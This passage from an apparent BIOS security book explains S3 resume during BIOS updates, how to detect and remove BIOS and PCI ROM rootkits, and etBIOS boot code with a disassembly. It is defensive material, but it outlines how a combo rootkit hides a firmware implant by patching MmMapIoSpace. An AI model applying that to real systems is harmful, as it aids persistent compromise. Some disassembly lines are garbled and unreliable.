- Devices that are enabled to wake the system and that can do so from their current device state can initiate a hardware event that transitions the system state to S0. This transition causes the processor to begin execution at its boot location. The BIOS performs initialization of core
functions as necessary to exit an S3 state and passes control to the firmware resume vector....

From the software viewpoint, this state is functionally the same as the S2 state. The operational difference can be that some power resources that could be left ON to be in the S2 state might not be available to the S3 state. As such, additional devices may need to be in a logically lower D0, D1, D2, or D3 state for S3 than S2. Similarly, some device wake events can function in S2 but not S3.

Because the processor context can be lost while in the S3 state, the transition to the S3 state requires that the operating software flush all dirty cache to DRAM.

...

15.1.3 S3 Sleeping State

The S3 state is defined as a low wake-latency sleep state. From the software viewpoint, this state is functionally the same as the S2 state. The operational difference is that some power resources that may have been left on in the S2 state may not be available to the S3 state. As such, some devices may be in a lower power state when the system is in S3 state than when the system is in the S2 state. Similarly, some device wake events can function in S2 but not S3. An example of an S3 sleeping state implementation follows.

15.1.3.1 Example: S3 Sleeping State Implementation

When the SLP_TYPx register(s) are programmed to the S3 value (found in the \_S3 object) and the SLP_EN bit is set, the hardware will implement an S3 sleeping state transition by doing the following:

1. Placing the memory into a low-power auto-refresh or self-refresh state.
2. Devices that are maintaining memory isolating themselves from other devices in the system.
3. Removing power from the system. At this point, only devices supporting memory are powered (possibly partially powered). The only clock running in the system is the RTC clock.

In this case, the wake event repowers the system and resets most devices (depending on the implementation).

Execution control starts from the CPU’s boot vector. The BIOS is required to

1. Program the initial boot configuration of the CPU (such as the MSR and MTRR registers).
2. Initialize the cache controller to its initial boot size and configuration.
3. Enable the memory controller to accept memory accesses.
4. Jump to the waking vector.

Notice that if the configuration of cache memory controller is lost while the system is sleeping, the BIOS is required to reconfigure it to either the presleeping state or the initial boot state configuration. The BIOS can store
The configuration of the cache memory controller into the reserved memory space, where it can then retrieve the values after waking. Operating system-directed configuration and power management (OSPM) will call the _PTS method once per session (prior to sleeping).

The BIOS is also responsible for restoring the memory controller's configuration. If this configuration data is destroyed during the S3 sleeping state, then the BIOS needs to store the presleeping state or initial boot state configuration in a nonvolatile memory area (as with RTC CMOS RAM) to enable it to restore the values during the waking process.

When OSPM re-enumerates buses coming out of the S3 sleeping state, it will discover any devices that have been inserted or removed and configure devices as they are turned on.

The preceding excerpt states that there are some ACPI registers called SLP_TYPx registers—x in SLP_TYPx is a one-digit number. These registers play an important role in the power management of the system. As such, manipulating them will change the power state of the machine, such as entering sleep state. Therefore, you can conclude that WinFlash manipulates the registers before restarting the machine to force an S3-resume just after the machine is restarted.

The next step in the normal BIOS update procedure in figure 13.5 is to authenticate the BIOS binary to be flashed. This authentication process uses the credentials that have been buffered to RAM by WinFlash when the machine is still running in Windows. Note that in the S3 sleep state, the contents of RAM from the previous session are preserved. That's why the credentials are available in RAM for the authentication process, which runs in the BIOS code for S3-resume context. In the current step, the machine executes the BIOS update routine in the S3-resume context. Therefore, it's possible the BIOS is not executing a routine in its own binary but is branching to a certain BIOS flashing routine in RAM, which is buffered to RAM by WinFlash before the machine restarts. I'm not sure about the details because there is no official documentation about this process. You can reverse engineer the WinFlash executable file if you are curious. You can download the WinFlash utility for the Compaq Presario V2718WM notebook at http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-43515-1&lc=en&cc=us&dlc=en&tool=softwareCategory&product=3193135&query=Presario%20v2718&os=228. The executable file in the preceding link will be installed to C:\Program Files\SP33749.

Now, proceed to the next step: the check for the BIOS version rolling back. In this step, the BIOS update routine checks if the requested task is a BIOS version rollback task. If it is, then the BIOS update routine will consult the system policy about whether to allow rollback or not. If it's not allowed, no BIOS rollback will happen. Otherwise, the BIOS update routine will replace the current BIOS with an older BIOS version. On the other hand, if the requested task is not a BIOS version rollback, the BIOS update routine will proceed to flash the new BIOS binary to the BIOS chip.

The next step is to write-protect the BIOS chip so that it won't be tampered with. The last step is to continue the S3-resume process until the boot process completed.
As for the BIOS recovery path, it's not a secure way to update the contents of the BIOS. In this case, the system will boot from the boot block and carry out the BIOS update routine to update the BIOS binary. However, from figure 13.5, it's clear that the CRTM (boot block) is not tampered with by this procedure. Thus, the integrity of the BIOS cannot be easily compromised because an attacker is only able to implant his code in a non-boot block area of the BIOS and that can be easily detected by an integrity check subroutine in the boot block.

In any case, you have to be aware that the BIOS update routine in Phoenix Secure WinFlash is running in the S3-resume context, which is not an ordinary processor execution context. This is a safe way to modify the BIOS chip context because a remote attacker won't be able to do it easily. In the S3-resume context, the machine is not running inside an operating system context, which implies that there is no interconnection with the outside world.

As a side note, you might be asking about the preliminary result of the Phoenix Secure WinFlash application. I used IDA Pro 4.9 to do a preliminary analysis, and the result shows that it's compiled using Borland compiler. I haven't done any further research yet.

In the TCG standards document, the PCI expansion ROM is protected using one of the PCRs to verify the integrity of the option ROM. However, the PCR only exists in systems that implement the TPM chip in the motherboard. Therefore, this method of protecting the PCI expansion ROM cannot be used in most desktops and server systems on the market.

In closing this subsection, I would like to make one recommendation: read the TCG PC Client Specific Implementation Specification for Conventional BIOS document. You might find some concepts within this document that you can implement to protect the BIOS against various threats.

13.2. Recognizing Compromised Systems

The previous section explains the methods of preventing BIOS rootkits from being installed in the system. In this section, I talk about methods to detect whether a system has been compromised by a BIOS rootkit. It's not going to be a detailed explanation; the focus is in the detection principles.

13.2.1. Recognizing a Compromised Motherboard BIOS

The easiest way to detect the presence of a BIOS rootkit in a machine is to compare the installed BIOS with the same BIOS from the manufacturer's website. "The same BIOS" in this context means the BIOS file with exactly the same revision as the one installed in the system that you are investigating. The BIOS ID string can help you do that. Typically, the BIOS ID string is formatted as follows:

```
BIOS_release_date-Motherboard_chipset_id-IO_controller_chip_id-
BIOS_release_code-BIOS_revision
```
The BIOS_revision in the BIOS ID string format indicates the revision of the BIOS binary. It is sometimes a combination of a number and a character, or it can be just numbers. This depends on the manufacturer. In many cases, information about the BIOS release date is enough to download the same BIOS from the manufacturer website. If you want to ensure you have downloaded exactly the same BIOS, cross-check the BIOS ID string. After you have obtained the BIOS from the manufacturer, you can use a hex editor or another utility to compare the bytes in both BIOSs to check the integrity of the BIOS in the system that you are investigating. There is a problem with this approach, however: if the binary in the manufacturer’s website has been infected by the same rootkit, you won’t know if the BIOS you are investigating is infected.

You learned about BIOS code injection in section 6.2. The method explained in that section is POST jump table code injection. To fight against it, you can build a BIOS unpacker that scans the POST jump table in the system BIOS. It’s not too hard to carry out this task for Award BIOS and most BIOSs on the market because the compression algorithm that they use is based on variants of Lempel-Ziv with a Huffman coding as a back-end. The preliminary unpacker development can be accelerated by using IDA Pro scripts or a plugin or by using IDA Python. The basic principle of this method is to scan the POST jump table for suspicious entries. You may want to scan the entries for a particular suspicious signature or signatures.

Another method to detect the presence of a BIOS rootkit is to create a digital signature for every legitimate BIOS binary and then compare the digital signature of a suspected BIOS binary with the legitimate BIOS binary. This method only works if you have taken the preventive step of creating the digital signature for the BIOS in advance—before the suspected security breach happened.

If you have located some types of BIOS rootkits, you can use an antivirus-like approach, i.e., create a rootkit signature to detect the presence of a rootkit in suspected BIOS binaries. This method works if you have encountered many BIOS rootkits. Otherwise, you have to guess what the BIOS rootkit might look like.

There is also a possibility that the BIOS rootkit is a combo rootkit, i.e., it consists of a kernel-mode driver rootkit (within the operating system) and a rootkit embedded in the BIOS. The typical logical architecture of such a rootkit is shown in figure 13.7.

![Figure 13.7 Combo BIOS rootkit logical architecture](image)

The purpose of the kernel-mode driver is to hide the presence of the BIOS rootkit. It does so by filtering read and write operations to the BIOS chip address range.
Figure 13.7 shows that such a combo rootkit uses the kernel-mode driver rootkit to hide the presence of the BIOS rootkit from rootkit detectors that scan the BIOS chip address range. In Windows, the typical method of hiding the BIOS rootkit is to carry out detour patching to certain memory management kernel APIs, such as `MmMapIoSpace`. The kernel-mode device driver of the combo rootkit patches the original `MmMapIoSpace` and returns a bogus result to the caller. The kernel-mode driver can hide the original BIOS binary in a "bad sector" of the HDD and return that data upon request to read the contents of the BIOS address range. To fight against a combo rootkit like this, you must use available methods to deal with kernel-mode rootkits. One of such approach is to scan for an altered `MmMapIoSpace` kernel function. The method of carrying out this task is outside the scope of this book.

In the previous section, you learned that WBEM interfaces could become the entry point to launch an organization-wide BIOS rootkit infection. Thus, an unusual network traffic overload through this interface is a hint that there could be an attack that relates to a firmware rootkit infection.

13.2.2. Recognizing a Compromised PCI Expansion ROM

Detecting a PCI expansion ROM rootkit is relatively easier than detecting a motherboard BIOS rootkit because of the simplicity of the PCI expansion ROM structure. There are several indications that a PCI expansion ROM may have been infected by a rootkit:

- There is virtually no free space in the PCI expansion ROM chip. In most cases, an unaltered PCI expansion ROM binary doesn't use all of the PCI expansion ROM chip; there is always a little empty space left in the chip. Therefore, you should be wary if a PCI expansion ROM chip is full of code. This may seem illogical. Nevertheless, it's true.
- It's easy to detour the PCI expansion ROM entry point. Therefore, you should be suspicious when the PCI expansion ROM entry point jumps into weird addresses, such as near the end of the PCI expansion ROM chip. The same is true if you find that the PCI expansion ROM entry point jumps into a suspicious routine that deals with devices that don't have any logical connection with the PCI expansion card where the ROM resides: for example, if a VGA card PCI expansion ROM calls a routine to interact with the HDD.
- You have to be suspicious when you find a kernel-mode driver rootkit in the operating system that alters kernel functions that deal with memory-mapped I/O devices, for example, a rootkit that alters the `MmMapIoSpace` kernel function in Windows. As you learned in the previous chapter, some PCI expansion cards map their expansion ROM chip to the memory-mapped I/O address space. When a rootkit is installed on such a card, the attacker must have been altering any access to the memory address range of the PCI expansion ROM chip to return a bogus result to conceal the presence of the rootkit.
• You should watch for any difference in the ROM binary in the system that you're investigating and the ROM binary from the PCI expansion card vendor when the ROM binary is the same version.

Besides the preceding detection principles, if you have taken the preventive step of generating hash value for the original PCI expansion ROM binary, you can compare that hash value with the hash value generated from the current PCI expansion ROM binary. If the values differ, then some modification must have been made to the ROM binary. It could be a rootkit infection.

13.3. Healing Compromised Systems

Healing a system infected by a BIOS rootkit is a straightforward process. All you have to do is to replace the infected BIOS binary with a clean or uninfected BIOS binary. As you learned in the previous sections, few of today's systems have implemented TCG standards. Therefore, the BIOS update process is easier, because you always have the ability to flash the BIOS from real-mode DOS. The details of the process are as follows:

• If the BIOS rootkit infection took place in the motherboard BIOS, then flash a clean BIOS binary to the infected motherboard BIOS. It's strongly recommended that you carry out this process from real-mode DOS, because if the BIOS rootkit is a combo rootkit, you'll never know if the BIOS flashing procedure has taken place or if you have been fooled by the kernel-mode driver rootkit of the combo rootkit.

• If the BIOS rootkit infection took place in the PCI expansion ROM, then flash a clean ROM binary to the infected PCI expansion card. Most PCI expansion ROM flashing utilities run in DOS, if yours is not doing so, then try to find a DOS version of the PCI expansion ROM flasher. As in the previous point, using a PCI expansion ROM flasher in Windows or another sophisticated operating system such as Linux is risky because you can be fooled by the kernel-mode driver rootkit of a combo rootkit.

• In the case of an incomplete or failed BIOS rootkit or PCI expansion ROM rootkit infection, the system might not be able to boot properly. This is not a problem if the BIOS ROM chip or the PCI expansion ROM chip is socketed, because you can take the chip out and flash it with a clean binary somewhere else. However, if the BIOS ROM chip or the PCI expansion ROM chip is soldered to the motherboard or PCI expansion card, you can't do that. In this case, you can use the trick from section 7.3.6 to force BIOS or PCI expansion ROM reflashing. Section 7.3.6 explained the details for the PCI expansion ROM. Thus, I only explain the details for the motherboard BIOS here. The basic principle is still the same, i.e., to intentionally generate a checksum error. However, in this case, you have to

---

5 The combo rootkit is explained in section 13.2.1.
generate a system BIOS checksum error so that the boot block will enter BIOS recovery mode. The steps are as follows:

1. Provide a BIOS recovery diskette in advance. Place a clean uninfected BIOS binary in this BIOS recovery diskette.
2. Short circuit the two most significant address pins in the motherboard BIOS chip that are used to address the system BIOS address range briefly during power-up. You have to be careful when doing this, because the motherboard can be easily damaged.
3. Once you have entered the boot block BIOS recovery mode, the BIOS flashing process will execute automatically—as long as you have inserted the recovery diskette.

Note that some soldered motherboard BIOS chips cannot be handled as I mention in the preceding steps because the needed address pins cannot be reached easily. In that case, you can't resurrect the motherboard.

The last issue to consider is cleaning the system from the infection of a kernel-mode driver rootkit if the BIOS rootkit is a combo rootkit. I'm not going to explain about it here because there are many books and articles on the subject. This type of rootkit is considered an ordinary rootkit.

My explanation about BIOS defense techniques ends here. It's up to you to explore further after you have grasped the basics in this chapter.
This chapter delves into the use of x86 BIOS technology outside of its traditional implementation—desktop PC and servers. It presents a glimpse of the implementation of x86 BIOS technology in network appliances and consumer electronic devices. This theme is interesting because x86 architecture will soon penetrate almost every sector of our lives—not as PC desktops or servers but as embedded systems. Advanced Micro Devices (AMD) has been realizing its vision of x86 everywhere since 2005. Moreover, as our lives increasingly depend on this architecture, the security of its BIOS becomes increasingly important. Therefore, this chapter presents an overview about that issue as well.

14.1. Embedded x86 BIOS Architecture

The embedded system theme sometimes scares programmers who haven't venture into this class of computing devices. Programmers accustomed to desktop and server development often view programming for embedded devices as an exotic task. However, as you will soon see, embedded devices based on x86 architecture share a fair number of similarities with their desktop or server counterparts. Thus, you have nothing to worry about when it comes to programming for embedded systems.

Let me start with the boot process of embedded x86 systems. Embedded x86 systems can be classified into two types based on their boot process, i.e., those that boot into an operating system stored in a secondary storage device\(^1\) and those that boot into an operating system stored as part of the BIOS. Figures 14.1 and 14.2 show the typical boot process for each type.

---

\(^1\) A secondary storage device is a mass storage device such as an HDD or a CompactFlash drive.
Figure 14.1 Embedded x86 system boot process when the operating system is part of the BIOS binary
Figure 14.1 shows that the operating system will be executed as part of the POST when the operating system is stored in the BIOS binary. Subsection 14.2.1 presents a sample implementation of this concept. In most cases, the operating system embedded in the BIOS binary is compressed to provide more space for code inside the operating system.

Figure 14.2 shows a more conservative embedded x86 boot concept; the operating system is loaded from a secondary storage device such as a CompactFlash drive, HDD, or other mass storage device, much like desktop PCs or servers. Note that figure 14.2 doesn't clearly show the boot process for the embedded x86 system as a customized boot process. You have to keep in mind that although the embedded x86 boot process in figure 14.2 works like such processes for ordinary PCs or servers, it's not the same because these embedded x86 systems mostly use a customized BIOS to suit their needs. For example, an embedded x86 system used as a car navigation system would need to be able to boot as fast as possible, so the BIOS for this system must be customized to boot as fast as it can. The BIOS must remove unnecessary test procedures during POST and hard-code its options as much as possible.

Some embedded x86 BIOS systems are hybrids between an ordinary desktop BIOS and the BIOS shown in figure 14.1. The user of the system can set the BIOS option to boot the operating system embedded in the BIOS or to boot like a typical desktop PC. In the latter case, it can boot to the PC operating system or to another embedded x86 operating system. Note that even if the BIOS is a hybrid BIOS you cannot boot to both operating systems simultaneously in one machine. The BIOS option provides only one operating system to boot into on one occasion.

The typical system-wide logical architecture of an embedded x86 system with its operating system loaded from secondary storage is shown in figure 14.3. A system with the operating system integrated into the BIOS is shown in figure 14.4.
Figure 14.3 Typical embedded x86 architecture without BIOS–operating system integration

Figure 14.4 Typical embedded x86 architecture with BIOS–operating system integration
Even if it's not shown in clearly in figures 14.3 and 14.4, you have to be aware that the BIOSs in both systems are highly customized for their target application. It's in the nature of an embedded system to be optimized according to its target application. It's important to meet that requirement, because it can reduce the cost and improve the overall performance of the system. The dedicated software application in figures 14.3 and 14.4 refers to the software application that runs on top of the operating system and serves the user of the embedded x86 system. At this point, the big picture of embedded x86 systems, particularly their BIOS, should be clear.

### 14.2. Embedded x86 BIOS Implementation Samples

This section talks about implementations of BIOS in x86 embedded systems. It delves into three categories of embedded x86 systems, i.e., the TV set-top box, the network appliance, and the kiosk. I explain the TV set-top box in detail; the other systems are explained in detail.

#### 14.2.1. TV Set-Top Box

Set-top box (STB) is a term used to describe a device that connects to an external signal source and turns the signal into content to be displayed on a screen; in most cases, the screen is that of a television. The external signal source can be coaxial cable (cable television), Ethernet, a satellite dish, a telephone line (including digital subscriber line, or DSL), or an ultra high or very high frequency (UHF or VHF) antenna. Nonetheless, this definition is not rigid. In this section, I use the term to refer to a PC-based device. Even if the system cannot connect to one of the external signal sources mandated by the preceding definition, as long as it can play multimedia content without booting to a full-fledge desktop or server operating system, I regard it as an STB. The ability to play multimedia content in this context must include video playback capability.

Now, I want to delve into a unique motherboard used as a building block to create a multimedia PC, also known as a PC-based STB. The motherboard is Acorp 4865GQET. This motherboard uses the Intel 865G chipset. It's interesting because its BIOS has a unique feature: it can play DVDs and browse the Internet without booting to a full-fledge desktop or server operating system. It does so by booting to a small operating system named etBIOS, which is embedded in its BIOS. However, this behavior depends on the BIOS setting. The motherboard can boot an ordinary desktop operating system as well if it's set to boot into the desktop operating system. The Acorp 4865GQET BIOS is based on Award BIOS version 6.00PG. Moreover, one component, the etBIOS module, is "unusual." It's a

---

2 An operating system used in a desktop or server platform, such as the desktop version of Windows, Linux, or FreeBSD.
small-footprint operating system for embedded x86 systems developed by Elegent Technologies.† The boot process of this motherboard is illustrated in figure 14.5.

Figure 14.5 Boot process in systems with etBIOS

Figure 14.5 shows that the boot process is much like that for an ordinary BIOS because the boot setting is stored in the CMOS chip. The CMOS setting determines whether to boot to a desktop or server operating system or to etBIOS. EtBIOS has the capability to play audio CDs and DVDs out of the box. These features are provided by etDVD and etBrowser, which exist as part of the etBIOS module by default. Sample screenshots of these features are shown in figures 14.6 and 14.7, respectively.

† The Elegent Technologies website is at http://www.elegent.com/index.htm.
Besides the capability to play audio CDs and DVDs, etBIOS has the ability to browse the Web, as shown in figure 14.8.
Some systems using etBIOS are also equipped with an etBIOS-compatible TV tuner to enable TV content playback.

Now, you likely have grasped the basic idea of etBIOS. It's time to explore the technical details. I start with the Acorp 4865GQET BIOS binary. I use BIOS version 1.4 for this motherboard; the date of the BIOS is August 19, 2004. This BIOS binary is Award BIOS 6.00PG with etBIOS as one of its components. The size of the binary file is 512 KB. The layout of the components is shown in figure 14.9.
Figure 14.9 shows the location of the "compressed" etBIOS binary inside the Acorp 4865GQET BIOS binary. I use the word *compressed* to refer to the compression state of this component because the component is not exactly compressed from Award BIOS LZH compression perspective. The header of this component shows an -lh0- signature, which in LZH compression terms means a plain copy of the original binary file without any compression. However, the LZH header is appended at the start of the binary file. Hex dump 14.1 shows a snippet of the BIOS binary, focusing on the beginning of the etBIOS binary.

**Hex dump 14.1 "Compressed" etBIOS Binary Header**

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex values</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0002CF10</td>
<td>2A95 4AA5 52A9 55FF D000 24F5 2D6C 6830</td>
<td>*.J.R.U...$.-lh0</td>
</tr>
</tbody>
</table>
The address shown in hex dump 14.1 is relative to the start of the overall BIOS binary file. You can clearly see the -lh0- signature (it is highlighted in yellow) in hex dump 14.1.

The next step is to reverse engineer the Acorp 4865GQET BIOS binary. As with other Award BIOS 6.00PG binaries, start with the boot block. Then, continue to the system BIOS. In the previous steps, the reverse engineering result is just like that of an ordinary Award BIOS 6.00PG binary. Nonetheless, there are differences in the execution routine of the POST jump table. Listing 14.1 shows the relevant disassembly result of the system BIOS in the Acorp 4865GQET BIOS binary, along with the disassembly of etBIOS that has been copied to RAM.

**Listing 14.1 Acorp 4865GQET BIOS POST Routine Disassembly**

```
E_seg:90C0   mov   cx, 1
E_seg:90C3   mov   di, offset POST_jmp_tbl_start
E_seg:90C6   call  exec_POST
E_seg:90C9   jmp   halt
E_seg:90CC   ; --------------- S U B R O U T I N E ------------------------
E_seg:90CC exec_POST proc near ; ...
E_seg:90CC   mov   al, cl
E_seg:90CE   out   80h, al         ; Manufacturer's diagnostic checkpoint
E_seg:90D0   push  0F000h
E_seg:90D3   pop   fs
E_seg:90D5   assume fs:F_seg
E_seg:90D8   inc   di
E_seg:90DA   inc   di
E_seg:90DB   or    ax, ax
E_seg:90DC   jz    short exit
E_seg:90DE   push  di
E_seg:90DF   push  cx
E_seg:90E0   call  exec_ET_BIOS
E_seg:90E3   call  ax
E_seg:90E5   pop   cx
E_seg:90E6   pop   di
E_seg:90E7   inc   cx
E_seg:90E8   jmp   short exec_POST
E_seg:90EA   ; -----------------------------------------------
E_seg:90EA exec_POST endp
E_seg:90EB   POST_jmp_tbl_start dw 1C5Fh ; ...
E_seg:90EB   ; award_ext ROM decompression
E_seg:90ED   dw 1C72h ; en_code.bin decompression
```
exec_ET_BIOS proc near
    cmp cx, 8Ah
    jz chk_etbios_existence
    retn
exec_ET_BIOS endp

chk_etbios_existence proc near
    mov cx, 52h
    push cs
    push offset ret_addr
    push offset F0_read_PCI_byte
    jmp far ptr goto_Fseg
    ; ------------------------------------------------------------
    ret_addr:               ; ...
    test al, 8
chk_etbios_existence endp
E_seg:9CD2   jz short init_et_bios_bin
E_seg:9CD4   retn
E_seg:9CD5 ; -------------------------------------------------------------
E_seg:9CD5 init_et_bios_bin: ; ...
E_seg:9CD5 mov dx, 48Fh
E_seg:9CD8 in al, dx
E_seg:9CD9 and al, 0FCh
E_seg:9CDB or al, 2
E_seg:9CDE out dx, al
E_seg:9CFE call init_ET_BIOS
E_seg:9CE1 mov eax, cr0
E_seg:9CE4 or eax, 10h
E_seg:9CE8 and eax, 0FFFFFFFh
E_seg:9CEC mov cr0, eax
E_seg:9CEF retn
E_seg:9CEF chk_etbios_existence endp ; sp = -6
........
E_seg:99FF init_ET_BIOS proc near ; ...
E_seg:99FF pushad
E_seg:9A01 push es
E_seg:9A02 push ds
E_seg:9A03 push gs
E_seg:9A05 push fs
E_seg:9A07 pushf
E_seg:9A08 mov eax, cr0
E_seg:9A0B push eax
E_seg:9A0D in al, 21h ; Interrupt controller, 8259A
E_seg:9A0F shl ax, 8
E_seg:9A12 in al, 0A1h ; Interrupt controller #2, 8259A
E_seg:9A14 push ax
E_seg:9A15 mov si, 19B5h
E_seg:9A18 call setup_menu?
E_seg:9A1B or al, al
E_seg:9A1D jnz sign_not_found
E_seg:9A21 mov al, 35h ; '5'
E_seg:9A23 out 70h, al ; CMOS memory:
E_seg:9A23 ;
E_seg:9A25 in al, 71h ; CMOS memory
E_seg:9A27 test al, 80h
E_seg:9A29 jnz sign_not_found
E_seg:9A2D push cs
E_seg:9A2E push offset enter_et_bios_init
E_seg:9A31 push offset call_init_gate_A20
E_seg:9A34 jmp far ptr goto_Fseg
E_seg:9A39 ; -------------------------------------------------------------
E_seg:9A39 enter_et_bios_init: ; ...
E_seg:9A39 call backup_mem_above_1MB
E_seg:9A3C mov al, 1
E_seg:9A3E call init_descriptor_cache
E_seg:9A41 call search_ET_BIOS_sign_pos
E_seg:9A44 jb sign_not_found
call relocate_ET_BIOS ; Relocate ET_BIOS to above 1 MB
mov esi, 100000h ; 1-MB area
mov eax, 54453EEBh ; Is ET_BIOS signature OK?
cmp [esi], eax
jnz sign_not_found
jmp short ET_BIOS_sign_found

mov al, 0EAh
out 80h, al ; POST code EAh

hang:                   ; ...
jmp short hang

ET_BIOS_sign_found:

test byte ptr [esi+1Ch], 10h
jnz short no_ctlr_reset

call reset_IDE_n_FDD_ctlr

no_ctlr_reset:

mov edi, 100000h
mov dword ptr es:[edi+24h], 4000000h
mov bx, [esi+10h]
cmp bx, 0
jz short no_vesa_init

mov ax, 4F02h
int 10h  ; - VIDEO - VESA SuperVGA BIOS - SET SuperVGA

int 10h ; VIDEO MODE. BX = mode, bit 15 set means don't
clear video memory.

Return: AL = 4Fh function supported
AH = 00h successful, 01h failed

no_vesa_init:

jmp short init__ET_BIOS_binary

init__ET_BIOS_binary:

mov es:[edi+12h], al
mov si, 19CEh
call setup_menu?
mov si, 99F7h
add si, ax
mov al, cs:[si]
mov es:[edi+21h], al

call init_GDT
xor ebx, ebx
xor ecx, ecx
mov bx, 99F1h
mov cx, cs
shl ecx, 4
add ecx, ebx
push ecx ; Push GDT physical address to be used later to
return to 16-bit mode after ET_BIOS execution
E_seg:9AC8 xor eax, eax
E_seg:9ACB mov ax, 8
E_seg:9ACE push eax ; Push code selector number (32-bit P-mode
E_seg:9ACE ; selector)
E_seg:9AD0 mov ax, 9B1Bh ; Address following retf (below)
E_seg:9AD3 xor ecx, ecx
E_seg:9AD6 mov cx, cs
E_seg:9AD8 shl ecx, 4 ; ecx = phy_addr(cs)
E_seg:9ADC add eax, ecx
E_seg:9AE1 xor eax, eax
E_seg:9AE4 xor ecx, ecx
E_seg:9AE7 mov cx, ss
E_seg:9AE9 shl ecx, 4
E_seg:9AEF mov ax, sp
E_seg:9AF2 add ecx, eax
E_seg:9AF2 mov edi, 100000h ; edi = phy_addr_copy_of_et_BIOS
E_seg:9AF8 cli
E_seg:9AF9 lgdt qword ptr cs:exec_ET_BIOS_GDT
E_seg:9AFF mov eax, cr0
E_seg:9B02 or eax, 1 ; Enter P-mode
E_seg:9B06 mov cr0, eax
E_seg:9B09 mov ax, 10h
E_seg:9B0C mov ds, ax
E_seg:9B0E mov es, ax
E_seg:9B10 mov fs, ax
E_seg:9B12 mov gs, ax
E_seg:9B14 mov ss, ax
E_seg:9B16 mov esp, ecx
E_seg:9B19 db 66h
E_seg:9B19 retf ; Jump below in 32-bit P-mode
E_seg:9B19 init_ET_BIOS endp ; sp = -3Ch
exec_et_bios:000E9B1B ; ---------------------------------------------------
exec_et_bios:000E9B1B lgdt qword ptr cs:exec_ET_BIOS_GDT
exec_et_bios:000E9B1B assume cs:exec_et_bios
exec_et_bios:000E9B1B call edi ; Call et_bios at 100000h
exec_et_bios:000E9B1B ; (ET_BIOS:100000h)
exec_et_bios:000E9B1D db 67h
exec_et_bios:000E9B21 jmp small far ptr 20h:9B28h ; Jump below in
exec_et_bios:000E9B21 ; 16-bit P-mode
E_seg:9B28 ; ---------------------------------------------------------------
E_seg:9B28 ; Segment type: Regular
E_seg:9B28 E_seg segment byte public null use16
E_seg:9B28 assume cs:E_seg
E_seg:9B28 mov eax, cr0
E_seg:9B2B and al, 0FEh
E_seg:9B2D   mov   cr0, eax
E_seg:9B30   jmp   far ptr real_mode
E_seg:9B35   real_mode:
E_seg:9B35   lidt qword ptr cs:dword_E000_9B9D
E_seg:9B3B   mov   esi, 100000h
...........
E_seg:9C7A   relocate_ET_BIOS proc near ; ...
E_seg:9C7A   mov   edi, 100000h    ; edi = target_addr (1 MB)
E_seg:9C80   mov   ecx, [esi+4]
E_seg:9C85   add   ecx, 3FFh
E_seg:9C8C   and   ecx, OFFFFFC00h ; Size mod 1 KB
E_seg:9C93   shr   ecx, 2
E_seg:9C97   cld
E_seg:9C98   rep movs dword ptr es:[edi], dword ptr [esi]
E_seg:9C9C   clc
E_seg:9C9D   retn
E_seg:9C9D   relocate_ET_BIOS endp
E_seg:9C9E   search_ET_BIOS_sign_pos proc near ; ...
E_seg:9C9E   mov   esi, 0FFF80000h
E_seg:9CA4   mov   eax, 54453EEBh  ; eax = et_bios first 4 bytes
E_seg:9CA4                       ; (including signature)
E_seg:9CA9   cmp   [esi], eax
E_seg:9CAE   jz    short exit
E_seg:9CBB   mov   esi, 0FFFFFF000h
E_seg:9CBD   stc
E_seg:9CBD   retn
E_seg:9CBB ; ------------------------------------------------------
E_seg:9CBB exit:                   ; ...
E_seg:9CBB   clc
E_seg:9CBB   retn
E_seg:9CBB   search_ET_BIOS_sign_pos endp
...........
ET_BIOS:00100000 ; Segment type: Pure code
ET_BIOS:00100002 ET_BIOS segment byte public 'CODE' use32
ET_BIOS:00100000 assume cs:ET_BIOS
ET_BIOS:00100000 ; org 100000h
ET_BIOS:00100000 ; jmp short _start_ET_BIOS
ET_BIOS:00100000 ; ------------------------------------------------------
ET_BIOS:00100002 aEt db 'ET'             ; ET_BIOS signature
ET_BIOS:00100004 dw 0FC73h              ; Encoded ET_BIOS size
............
ET_BIOS:00100004 __start_ET_BIOS:        ; ...
ET_BIOS:00100040 cli
ET_BIOS:00100041 mov ds:1F3BA0h, esp
The segment addressing in listing 14.1 needs clarification. The segment named \texttt{E\_seg} is segment \texttt{E000h} in the system BIOS, a 16-bit segment with a base address of \texttt{E0000h}; the offset of the code in this segment is relative to \texttt{E0000h}. The segment named \texttt{exec\_et\_bios} is a small 32-bit segment with a base address set to \texttt{0000h}; the offset of the code in this
segment is relative to 0000h. In addition, the segment named ET_BIOS is the relocated etBIOS binary in RAM, a 32-bit segment with a base address set to 0000h; offsets in this segment are relative to 0000h.

Listing 14.1 shows that the etBIOS binary is executed as part of the execution of the POST jump table. Moreover, the etBIOS module inside the BIOS binary is recognized by using a 4-byte signature, as shown in hex dump 14.2.

Hex dump 14.2 etBIOS Module Signature Bytes

<table>
<thead>
<tr>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x54453EEB</td>
<td>.&gt;ET</td>
</tr>
</tbody>
</table>

This signature is checked on two occasions in listing 14.1: at address E_seg:9A51h and at address E_seg:9CA4h. I found this signature in two different instances of etBIOS usage: the first is in this Acorp 4865GQET motherboard and the other one is in the Acorp 7KM400QP motherboard. Therefore, this byte sequence is indeed made of the signature bytes. Furthermore, the etBIOS module is always given *.dat extension.

Figure 14.10 shows the simplified algorithm for the etBIOS execution in listing 14.1.
Figure 14.10 EBIOS execution algorithm for listing 14.1
The simplified diagram in figure 14.10 of the listing 14.1 algorithm doesn't show all possible routes to execute the routines in the etBIOS routine. It only shows the most important route that will eventually execute etBIOS module in the Acorp 4865GQET BIOS. Listing 14.1 also shows a call to an undefined function that is apparently a decompression function. (I haven't completed for you the reverse engineering in that function.) From this fact, you can conclude that even if the etBIOS module is not stored as an LZH-compressed component in the overall BIOS binary, it's still using a compression scheme that it employs itself. Another fact that may help you complete the reverse engineering of the etBIOS module is the existence of the GCC string shown in hex dump 14.3.

**Hex dump 14.3 GCC String in etBIOS Binary from the Acorp 4865GQET Motherboard**

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex values</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>.........</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000011D0</td>
<td>0047 4343 3A20 2B47 4E55 2920 6567 6373</td>
<td>.GCC: (GNU) egcs</td>
</tr>
<tr>
<td>000011E0</td>
